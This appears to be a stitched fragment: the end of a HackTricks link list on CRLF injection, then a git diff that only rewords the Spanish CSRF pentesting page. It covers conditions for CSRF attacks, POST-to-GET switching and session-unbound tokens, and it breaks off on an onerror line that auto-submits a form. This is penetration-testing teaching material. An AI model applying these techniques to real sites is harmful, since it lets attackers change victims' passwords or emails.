+- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
+- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md
index a45872f74..e2f971a94 100644
--- a/src/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/src/pentesting-web/csrf-cross-site-request-forgery.md
@@ -11,7 +11,7 @@
Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
1. **Identificar una acción valiosa**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
-2. **Gestión de sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de autenticación básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito.
+2. **Gestión de sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito.
3. **Ausencia de parámetros impredecibles**: La solicitud no debe contener parámetros impredecibles, ya que pueden prevenir el ataque.
### Verificación rápida
@@ -39,7 +39,7 @@ Entender e implementar estas defensas es crucial para mantener la seguridad e in
### De POST a GET
-Quizás el formulario que deseas abusar está preparado para enviar una **solicitud POST con un token CSRF, pero** deberías **verificar** si un **GET** también es **válido** y si cuando envías una solicitud GET el **token CSRF todavía se está validando**.
+Quizás el formulario que deseas abusar está preparado para enviar una **solicitud POST con un token CSRF, pero** debes **verificar** si un **GET** también es **válido** y si cuando envías una solicitud GET el **token CSRF todavía se está validando**.
### Falta de token
@@ -47,7 +47,7 @@ Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando
### El token CSRF no está vinculado a la sesión del usuario
-Las aplicaciones **que no vinculan los tokens CSRF a las sesiones de usuario** presentan un **riesgo de seguridad** significativo. Estos sistemas verifican los tokens contra un **pool global** en lugar de asegurarse de que cada token esté vinculado a la sesión iniciadora.
+Las aplicaciones **que no vinculan los tokens CSRF a las sesiones de usuario** presentan un **riesgo de seguridad** significativo. Estos sistemas verifican los tokens contra un **pool global** en lugar de asegurar que cada token esté vinculado a la sesión iniciadora.
Así es como los atacantes explotan esto:
@@ -102,18 +102,18 @@ onerror="document.forms[0].submit();" />